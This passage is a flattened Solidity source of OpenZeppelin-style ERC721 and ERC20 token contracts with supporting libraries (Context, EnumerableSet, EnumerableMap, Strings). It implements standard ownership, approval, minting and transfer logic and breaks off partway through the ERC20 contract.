import "../../GSN/Context.sol";
import "./IERC721.sol";
import "./IERC721Metadata.sol";
import "./IERC721Enumerable.sol";
import "./IERC721Receiver.sol";
import "../../introspection/ERC165.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
import "../../utils/EnumerableSet.sol";
import "../../utils/EnumerableMap.sol";
import "../../utils/Strings.sol";
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
// If there is no base URI, return the token URI.
if (bytes(_baseURI).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(_baseURI, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(_baseURI, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mecanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
return _get(map, key, "EnumerableMap: nonexistent key");
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint256(value)));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key), errorMessage)));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = byte(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../../GSN/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
